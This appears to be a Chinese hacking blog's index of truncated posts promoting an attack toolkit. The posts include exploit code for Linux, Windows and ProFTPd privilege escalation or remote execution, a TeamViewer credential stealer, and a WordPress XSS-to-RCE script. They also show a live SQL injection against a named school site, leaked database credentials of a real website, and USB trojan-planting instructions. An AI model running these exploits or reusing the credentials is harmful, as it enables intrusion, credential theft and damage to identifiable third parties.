0x001 打开菜刀 随便执行一个动作 抓包0x002 对提交的包进行解密 里面有很多百分号 我们先使用URL编码来解如果执行动作中带有中文就使用 GB2312来解 全英文GB2312和UTF-8均可0x003 解密后 我们会看到有两个参数都经过解密z1 0x004 解密z0参数0x005 解密出来的z0参数里面 还有一层 这是正常菜刀所没有的最后 解密后 我们可以很清楚的看到 被人加入的后门地址 好一招螳螂捕蝉黄雀在后后门地址 ：http://www.gooddog.in/Api.php 中间有被干过...目前还在运作...下载地址[动画]K8飞刀解密过狗菜刀后门视频教下载:http://pan.baidu.com/s/1eQ723YU本博客里任何文章/动画/教程以及各类软件/工具等仅供个人测试研究，请在下载后24小时内删除，不得用于商业或非法用途，否则后果自负。本博客支持匿名评论,请留下你宝贵的意见或建议.再次感谢您的大力支持. ...继续阅读 (98)

工具: K8fly编译: 自己查壳组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/7/5 16:06:40=======================================================简介: K8飞刀是一款多功能的渗透测试工具. Hacker Swiss Army Knife. 内置大量漏洞EXP/GetShell/0day网马/U盘自动种马/脱库采集工具 支持7种WebShell管理/后台扫描/2级域名扫描/WordPress用户扫描 黑客浏览器/自动检测注入/自动收集信息/Exp调式/可一键生成EXP 多种编码转换/一键CSRF构造/Cookie一键登陆/XSS编码/SQL提权等功能: K8飞刀 20150705[+]程序图标右键 FastStart(右键菜单快速启动CMD & K8飞刀) 20150703[+]EncodeDecode 编码转换--DeDeCMS管理员密码加密解密算法 20150701[+]EncodeDecode Unix时间戳格式与时间互转 获取当前时间戳 20150629[+]Hacker ...继续阅读 (146)

工具: TeamViewer密码读取编译: 自己查壳组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/7/5 16:26:43简介:[工具]一键获取TeamViewer帐号密码(附源码)肉鸡实战8和9均成功 不支持TeamViewer 10图片:挂马来的肉鸡... 服务器装这玩意是比较少的 个人鸡 源码:#define WIN32_LEAN_AND_MEAN#include#include#pragma comment( lib, "kernel32" )#pragma comment( lib, "user32" ) int status = 0; BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam){ const int BufferSize = 1024; char BufferContent[BufferSize] = ""; SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent); if (status == 1) { print ...继续阅读 (145)

工具: K8飞刀组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/6/28 16:39:44简介: K8飞刀是一款多功能的渗透测试工具. Hacker Swiss Army Knife. 内置大量漏洞EXP/GetShell/0day网马/U盘自动种马/脱库采集工具 支持7种WebShell管理/后台扫描/2级域名扫描/WordPress用户扫描 黑客浏览器/自动检测注入/自动收集信息/Exp调式/可一键生成EXP 多种编码转换/一键CSRF构造/Cookie一键登陆/XSS编码/SQL提权等图片: 功能: K8飞刀 20150628[+]HackerIE 黑客浏览器伪造IP(VIA/X_FORWARDED_FOR/Client-IP) 20150628[+]EncodeDecode Hacking--WebShell--非数字非字母PHP一句话 20150628[+]EncodeDecode Base64编码--PHP反解Base64代码 20150624[+]EncodeDecode 实用功能--路径转义 \转\\ \\转\ ...继续阅读 (128)

Magento MAGMI 插件本地包含漏洞EXPMagento 1.7.0.2 任意文件读取漏洞EXP下载地址：http://pan.baidu.com/s/1qW3J4xY这几个EXP只能读取固定文件内容若要读取自定义文件内容请使用K8飞刀--在EXP上右键发送到ExpDebug然后在提交数据那修改 payload 读取指定文件 ...继续阅读 (96)

https://www.exploit-db.com/exploits/37292/https://www.exploit-db.com/exploits/37293//*# Exploit Title: ofs.c - overlayfs local root in ubuntu# Date: 2015-06-15# Exploit Author: rebel# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html) *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*CVE-2015-1328 / ofs.coverlayfs incorrect permission handling + FS_USERNS_MOUNT user@ubuntu-server-1504:~$ uname -aLinux ubuntu-server-1504 ...继续阅读 (128)

工具: K8飞刀组织: K8搞基大队[K8team]作者: K8拉登哥哥博客:http://qqhack8.blog.163.com发布: 2015/6/10 23:37:31简介: K8飞刀是一款多功能的渗透测试工具. Hacker Swiss Army Knife.内置大量漏洞EXP/GetShell/0day网马/U盘自动种马/脱库采集工具支持7种WebShell管理/后台扫描/2级域名扫描/WordPress用户扫描黑客浏览器/自动检测注入/自动收集信息/Exp调式/可一键生成EXP多种编码转换/一键CSRF构造/Cookie一键登陆/XSS编码/SQL提权等图片:内置7种脚本经典一句话(asp/php/aspx/jsp/cfm/perl/python)实用功能 vbs/bat等调式功能 右键选中同容可以直接执行支持导入txt格式webshell/支持导入菜刀shell功能:K8飞刀 20150610[+]WebShell 批量删除掉线WebShell(使用前先检测存活状态) 20150610[u]EncodeDecode USB Hack--BadUSB--VBS转Teensy脚本支持&符号 20150610[+]EncodeDecode 实用功能--选中内容 CMD运行/Bat运行/VBS运行 ...继续阅读 (367)

可以构造指定网站 识别指定特征 精确打击 专搞黑阔K8_WVS漏洞扫描工具远程代码执行漏洞EXP 支持所有Windows系统Acunetix <=9.5 - OLE Automation Array Remote Code Execution原版: https://www.exploit-db.com/exploits/36516/K8版:http://qqhack8.blog.163.com/blog/static/114147985201553115532446原版: PowerShell反弹需NC连接,缺点只支持win7后系统 而且不过UAC而目标中招后 还需要知道对方IP 如果对方是内网 此EXP相当于没用K8版:支持执行任意EXE,且兼容所有windows系统.动画里演示两种情况下 扫描时会中招K8版无任何提示 马儿直接上线... 实际使用页面要做成存在漏洞页面诱骗黑客原版: 有弹框看到没 有个弹框 普通人 正常浏览web看到会点但是用wvs正在扫的黑阔 一般看到都知道什么鬼了你觉得它还会点吗 是吧 此exp 对这些黑阔是否就无效动画下载地址:http://pan.baidu.com/s/1bnHFSqrk8fly.exe SHA1: DA7A8D93A07C23A88CC23E1B5A40901618027878 ...继续阅读 (142)

工具: K8飞刀20150603组织: K8搞基大队[K8team]作者: K8拉登哥哥博客:http://qqhack8.blog.163.com发布: 2015/6/3 20:41:29简介:K8飞刀是一款多功能的渗透测试工具。Hacker Swiss Army Knife.图片:可以构造指定网站 识别指定特征 精确打击 专搞黑阔K8_WVS漏洞扫描工具远程代码执行漏洞EXP 支持所有Windows系统Acunetix <=9.5 - OLE Automation Array Remote Code Execution原版: https://www.exploit-db.com/exploits/36516/K8版:http://qqhack8.blog.163.com/blog/static/114147985201553115532446原版: PowerShell反弹需NC连接,缺点只支持win7后系统 而且不过UAC而目标中招后 还需要知道对方IP 如果对方是内网 此EXP相当于没用K8版:支持执行任意EXE,且兼容所有windows系统.动画里演示两种情况下 扫描时会中招 实际上使用其它扫描器 比如appscan等均会中招K8版无任何提示 马儿直接上线... 实际使用页面要做成存在漏洞页面诱骗黑客原版: 有弹框看到没 有个弹框 普通人 正常浏览web看到会点但是用 ...继续阅读 (303)

MS15-010 提权exp WebShell下可用不要误以为是MS15-051 下面链接才是http://qqhack8.blog.163.com/blog/static/114147985201542835759860/微软公告 https://technet.microsoft.com/zh-cn/library/security/MS15-010EXP源码 https://www.exploit-db.com/exploits/37098/Microsoft Windows - Local Privilege Escalation (MS15-010)Windows XP/2K3/VISTA/2K8/7 WM_SYSTIMER Kernel EoPCVE-2015-0003March 2015 (Public Release: May 24, 2015)Tested on:x86: Win 7 SP1 | Win 2k3 SP2 | Win XP SP3x64: Win 2k8 SP1 | Win 2k8 R2 SP1添加用户 k8team$密码为 K8TeAm520!@#查看是否成功net user k8team$Build 20150603 by K8拉登哥哥XP SP3Win2008 R2 企业版下载地址:http://pan.baidu.com/s/1gdAgj ...继续阅读 (530)

工具: K8飞刀组织: K8搞基大队[K8team]作者: K8拉登哥哥博客:http://qqhack8.blog.163.com发布: 2015/6/1 1:48:12简介:K8飞刀是一款多功能的渗透测试工具。Hacker Swiss Army Knife.图片:[+]ScanAdmin WP用户采集(WP3.41 WP3.52 WP3.61 WP3.81 WP3.88) 20150527[+]ScanAdmin WordPress用户采集(WP4.10 WP4.12 WP4.21 WP4.2b3) 20150526自动收集被浏览网站信息 & 自动检测网站中所有URL是否存在注入并记录[+]HackerIE Hack模式自动检测当前页面所有URL是否存在SQL注入 20150531[+]HackerIE Hack模式--浏览网站自动记录Banner/IP/地理等信息 20150530[+]GoogleHacker Google黑客搜索模块--批量检测URL是否存在SQL注入 20150601[+]WebShell 导入TXT格式WebShell(格式:Shell地址 空格 密码 20150601支持Shell 地址和 密码之间 存在 ...继续阅读 (478)

类似阿D以前的工具,自动抓取当前页面所有URL,并检测漏洞六一版先添加了自动收集信息和检测SQL漏洞功能...后期会添加其它功能...自动测试更多EXP...GetShell等K8飞刀教程 HackerIE自动检测网站注入inurl:show.php?id= site:hk检测到这个站 多个URL SQL整型注入2015/6/1 22:34:58 Integer Inject http://www.shck.edu.hk/php/webinfo/show.php?id=52015/6/1 22:34:59 Integer Inject http://www.shck.edu.hk/php/webinfo/show.php?id=112015/6/1 22:35:05 Integer Inject http://www.shck.edu.hk/php/webinfo/show.php?id=12我们试试看吧 对吧 确实整型 随便爆一下 还是 root权限 root@localhosthttp://www.shck.edu.hk/php/webinfo/show.php?id=5 and 1=2 union select user(),2直接在firefox浏览会出错 payload会被强制修改 但是在飞刀提交就OK了...真是垃圾的waf 哈哈 ...继续阅读 (164)

工具: K8飞刀20150520组织: K8搞基大队[K8team]作者: K8拉登哥哥博客:http://qqhack8.blog.163.com发布: 2015/5/20 2:32:13简介:K8飞刀是一款多功能的渗透测试工具。Hacker Swiss Army Knife.功能简介截图,要不然网易这SB博客老是提示什么互联网审查...图片:子域名扫描/2级域名扫描一键生成EXP工具GoogleHack 国内用户需要挂VPN处理后...更新:K8飞刀 20150520[+]ScanAdmin 网站子域名扫描/二级域名扫描(渗透大型站点必备) 20150520[+]ExpDebug 一键生成EXP功能 调式好的EXP可直接生成EXE工具 20150519[+]Exploit-DB EXP按钮右键菜单添加生成EXP功能 可直接生成EXE 20150518[u]EncodeDecode 右键调整(相关功能转Hacking) 新增域名解析功能 20150517[+]GoogleHacker GoogleHack搜索模块--加载搜索语法\批量处理URL 20150516[u]EncodeDecode Web提交-PHP/Python/Perl/Fla ...继续阅读 (509)

以dz论坛1.5 dz 7.2 为例子演示第一步进入后台 执行添加用户然后抓包把添加用户的数据包 放到K8飞刀的编码解码模块里提取URL和POST参数 url放在第一行 post参数放第2行右键--hacking---web提交----jq post提交然后就会自动生成JQ 添加用户的代码 你只需要在xss的地方远程调用此JS 当管理员被你xss时。。。即可成功添加用户 爆它菊花K8飞刀教程 零基础构造Discuz论坛csrf_20150528[K8]下载:http://pan.baidu.com/s/1lT91s ...继续阅读 (126)

Microsoft Windows - Local Privilege Escalation (MS15-051)CVE-2015-1701 自行查看官方公告 漏洞支持哪些系统...pr1 为自定义参数版 支持2003/Win7/2008 R2 其它系统未测网上找的源码 大家自己百度 不要来问我Build 20150525 by K8拉登哥哥MS15-051提权exp_20150528[K8].rar下载:http://pan.baidu.com/s/1sj9f7BJ ...继续阅读 (443)

内置udf提权dll...工具自动把dll转成导出的sql代码K8飞刀教程 mysql注入点拿shell & UDF提权_20150528[K8]下载:http://pan.baidu.com/s/1hq1q0r6 ...继续阅读 (135)

当然K8飞刀20150520以后的版本 已经添加生成exp程序的功能 是不是很吊K8飞刀教程 一键生成EXP工具演示下载:http://pan.baidu.com/s/1bnttdNL ...继续阅读 (102)

先说一下抓取WordPress用户技巧第1种 方法 老外的某个工具 靠抓取文章下方的发布作者但是我告诉大家这方法非常不科学。。。原因1 有些用户根本不发文章的 比如 admin 只做为管理员 从不发文章它用另一个用户叫office来发 老外的工具不是只抓到office还有就是 有些站 会隐藏掉文章的发布作者。。。 工具也肯定抓不到还有很多站的管理员并不一定是admin 可能是admin2015等等你用猜测的方法用admin去尝试 人家刚好有admin 你这叫运气好如果没有 你这种方法爆破N年都搞不下....因为用户名都不存在第2种访问 http://qqhack8.blog.163.com/?author=1 会有两种结果1 会重定向到用户名链接http://qqhack8.blog.163.com/author/adminURL和页面会出现admin2 直接在 /?author=id 页面 显示对应用户如果只是搞几个站 看一两个用户 手工完全够了但是一个列表的站 让你搞 就蛋碎了。。。所以必须写工具。。。 不会写也没关系 哥写好了 当然也教大家原理先看WP3.8.1中文版 特征//也可以这样抓取wp 4.1.0 特征wp4.1.2wp 4.2.1wp 3.8.1 未写好兼容正则 不过大家放心 发文章的今天已经完善了wp 3.5.2针对 wp 4.1 w ...继续阅读 (80)

搜索结果 143000 顶多的把K8data.mdb放置K8飞刀目录下 就可以了http://www.lawpractice-management.comWP Mobile Edition插件远程文件读取漏洞inurl:?fdx_switcher=mobileadd K8team date 2015.4.22读到的内容... 此漏洞可用再试别的。。。用浏览器这样搜索 打开较慢php// ** MySQL settings - You can get this info from your web host ** //define('DB_NAME', 'lawpractice_4WordPress');define('DB_USER', 'lawpractice');define('DB_PASSWORD', '3iou8weZ');define('DB_HOST', 'localhost:/tmp/mysql5.sock');define('DB_CHARSET', 'utf8');define('DB_COLLATE', '');define('AUTH_KEY', 'put your unique phrase here');define('SECURE_AUTH_KEY','put your unique phrase here');define('LOGGED_IN_ ...继续阅读 (135)

K8早年学破解录给自己看的教程就是怕哪天用到忘了...无意中发现 录的教程还在 哈哈哈录制时间为2008-2009年手脱33种壳教程为2012年2015.05.16 看到顺便共享给一些要走这方向的人看看手脱33种壳系列教程 当时有在x黑客论坛发过 博客好像没发K8软件脱壳破解教程││ 说明.txt│├─学习手记│ └─破解手记│ │ 16种可用ESP定律脱的壳.txt│ ││ └─脱壳│ ASPACK手动查找IAT.txt│ 手脱黑防灰鸽子2008贺岁版的壳.txt│├─爆破教程│ freeres0.94 爆破教程.rar│ OD去WINRAR的评估字样和试用框.rar│ OD去除VB程序的信息框.rar│ OD去除注册机里面的音乐.rar│ OD去除自校验.rar│ 多功能密码破解软件v4.5 爆破教程.rar│ 易语言程序脱壳和字符识别.rar│├─脱壳教程│ ├─32Lite│ │ ESP脱32Lite 0.03a.rar│ ││ ├─ACProtect│ │ 手脱ACProtect1.32.rar│ ││ ├─Anti007│ │ 手脱Anti007 V2.6的壳.rar ...继续阅读 (126)

### This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'msf/core'class Metasploit3 < Msf::Exploit::RemoteRank = ExcellentRankinginclude Msf::HTTP::Wordpressinclude Msf::Exploit::FileDropperdef initialize(info = {})super(update_info(info,'Name' => 'Wordpress N-Media Website Contact Form Upload Vulnerability','Description' => %q{This module exploits an arbitrary PHP code upload in the WordPress N-Media Website Contact Formplugin, version 1.3.4. The vulnerability allows for arbitrary file upload and ...继续阅读 (199)

工具: K8飞刀20150511组织: K8搞基大队[K8team]作者: K8拉登哥哥博客:http://qqhack8.blog.163.com发布: 2015/5/11 23:14:49简介:使用K8飞刀 duang的一下 U盘自动植入木马各位MM请小心黑客,别让他U盘插你电脑上.1 独家支持 BAT或VBS转换成Teensy烧录脚本2 独家兼容Windows和Linux双系统USB下载者3 PowerShell绕过UAC执行脚本(直接管理员)4 插入USB 添加管理员+开启3389+开启Telnet备注: (下载者: 即传说的插入U盘自动种植木马)Teensy USB自动种马演示(iphone录制)演示动画：http://pan.baidu.com/s/1gdu6morK8飞刀BadUSB版与BT5或Kali中set工具包或Kautilya渗透套件功能对比http://qqhack8.blog.163.com/blog/static/11414798520153123959852/#[硬件]BT5 Teensy USB渗透脚本烧录教程 定制你的间谍U盘http://qqhack8.blog.163.com/blog/static/114147985201531241818236/图片:功能:K8飞刀 20150511[u]自动更新 不再强制自动更新... ...继续阅读 (123)

[硬件]BT5 Teensy USB渗透脚本烧录教程 定制你的间谍U盘首先是准备好Teensy脚本...至于Teensy板 淘宝上大把K8飞刀BadUSB专版 已经集成了最实用最有效的 Teensy USB渗透脚本http://qqhack8.blog.163.com/blog/static/114147985201531233515978/K8飞刀BadUSB专版与BT5或Kali中set工具包或Kautilya渗透套件功能对比http://qqhack8.blog.163.com/blog/static/11414798520153123959852/Teensy USB自动种马演示(iphone录制)演示动画：http://pan.baidu.com/s/1gdu6mor下面是一份 同时兼容Windows和Linux的下载者脚本因为系统不一样，所以要分别提供马的下载地址就是你不用管碰到的是Linux终端机还是Win终端机只要这一份脚本烧录进去,Teensy插入都会自动种马工具上还提供其它脚本 烧录方法一致辞 请自行研究生成后的脚本存放于 USB-HACK下的Teensy目录里第一步 打开你的BT5或者Kali如果没有的话自行百度教程安装arduino和teensy插件还有驱动等比较麻烦 有的话省事了或者是这种情况 虚拟机不识别你的teensy 哈哈哥在公司的一台电脑 就不识别 ...继续阅读 (80)

工具: K8飞刀20150425组织: K8搞基大队[K8team]作者: K8拉登哥哥博客:http://qqhack8.blog.163.com发布: 2015/4/25 2:01:23PS: 最近好多项目都是WP程序...一边日一边添加相关程序对应漏洞EXP...顺便丢给大家用,飞刀漏洞模块出来这么久,一直都是一个人在添加漏洞本意是公开出来大家一起用.....谁添加了什么漏洞EXP,把库传我一份然后我合成后,再把漏洞库共享给大家,以此扩大战果...但没人愿意...当然你自己发现的0day可以不加入,可以添加一些网上公开的都行...如果你不会添加,可以把调式好的exp发我,可优先享用K8最新工具。贡献大的,给你用个别内部工具或一些未公开高级技术,做为奖励...图片:功能:================================================================================================K8飞刀 20150505[+]EncodeDecode USB Hack--BadUSB--Teensy 完善对笔记本兼容性 20150504[+]EncodeDecode 其它功能 指定长度字符串生成(比如WP 64K XSS) 20150501[+]EncodeDeco ...继续阅读 (337)

/*Author: @Evex_1337Title: Wordpress XSS to RCEDescription: This Exploit Uses XSS Vulnerabilities in Wordpress Plugins/Themes/Core To End Up Executing Code After The Being Triggered With Administrator Previliged User. ?\_(ăƒ„)_/?Enjoy.*///Installed Plugins Pageplugins = (window.location['href'].indexOf('/wp-admin/') != - 1) ? 'plugins.php' : 'wp-admin/plugins.php';//Inject "XSS" DivjQuery('body').append('');xss_div = jQuery('#xss');xss_div.hide();//Get Installed Plugins Page Source and Append it to "XSS" DivjQuery.ajax({url: plugins,type: 'GET',async: false,cache: false,timeou ...继续阅读 (68)

测试 mysql 5.1.50 wp 3.5.2 wp 4.1.0 wp4.1.2 wp 4.2 beat3测试浏览器 firefox chome IE6 IE8 均触发成功低版本的 wp 3.5.2 不成功以外... 其它版本均成功WP安装后 默认页面是utf8编码安装的CN版 TW版 英文版 全都是如此。。在phpmyadmin里创建数据库默认也是utf8测试环境如下4.2.1已修复 评论后 返回这样的内容 进入后台编辑发现内容也是空的April 29, 2015 at 7:33 amYour comment is awaiting moderation.第二次 写此日志时 为了截图再发 就成了这样。。。官网https://wordpress.org/wordpress-4.2-beta3.ziphttps://wordpress.org/wordpress-4.2-beta1.ziphttps://wordpress.org/wordpress-4.2.zip 4.2下载CNhttp://cn.wordpress.org/https://cn.wordpress.org/wordpress-4.2-zh_CN.zip各种版本http://cn.wordpress.org/releases/#latestTWhttps://tw.wordpress.org/w ...继续阅读 (73)

/* osx-irony-assist.m** Copyright (c) 2010 by** Apple MACOS X < 10.9/10? local root exploit* by mu-b - June 2010** - Tested on: Apple MACOS X <= 10.8.X** $Id: osx-irony-assist.m 16 2015-04-10 09:34:47Z mu-b $** The most ironic backdoor perhaps in the history of backdoors.* Enabling 'Assistive Devices' in the 'Universal Access' preferences pane* uses this technique to drop a file ("/var/db/.AccessibilityAPIEnabled")* in a directory,** drwxr-xr-x 62 root wheel 2108 9 Apr 16:23 db** without being root, now how did you do that?** Copy what you want, wherever you want it, with whatever ...继续阅读 (64)

Source: http://www.openwall.com/lists/oss-security/2015/04/22/12Bug report: https://bugs.launchpad.net/ubuntu/vivid/+source/usb-creator/+bug/1447396Ubuntu Precise (12.04LTS) <= usb-creator: 0.2.38.3ubuntu (Patched in: 0.2.38.3ubuntu0.1)Ubuntu Trusty (14.04LTS) <= usb-creator 0.2.56.3ubuntu (Patched in: 0.2.56.3ubuntu0.1)Ubuntu Utopic (14.10) <= usb-creator 0.2.62ubuntu0.2 (Patched in: 0.2.62ubuntu0.3)$ cat > test.cvoid __attribute__((constructor)) init (void){chown("/tmp/test", 0, 0);chmod("/tmp/test", 04755);}^D$ gcc -shared -fPIC -o /tmp/test.so test.c$ cp /bin/sh /tmp/test$ ...继续阅读 (92)

#!/bin/sh## CVE-2015-1318## Reference: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758## Example:## % uname -a# Linux maggie 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux## % lsb_release -a# No LSB modules are available.# Distributor ID: Ubuntu# Description: Ubuntu 14.04.2 LTS# Release: 14.04# Codename: trusty## % dpkg -l | grep '^ii apport ' | awk -F ' ' '{ print $2 " " $3 }'# apport 2.14.1-0ubuntu3.8## % id# uid=1000(ricardo) gid=1000(ricardo) groups=1000(ricardo) (...)## % ./apport.sh# pwned-4.3# id# uid=1000(ricardo) gi ...继续阅读 (423)

# Title: ProFTPd 1.3.5 Remote Command Execution# Date : 20/04/2015# Author: R-73eN# Software: ProFTPd 1.3.5 with mod_copy# Tested : Kali Linux 1.06# CVE : 2015-3306# Greetz to Vadim Melihow for all the hard work .import socketimport sysimport requests#Bannerbanner = ""banner += " ___ __ ____ _ _ \n"banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | | \n"banner +=" | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | | \n"banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ \| |___ \n"banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\__ ...继续阅读 (101)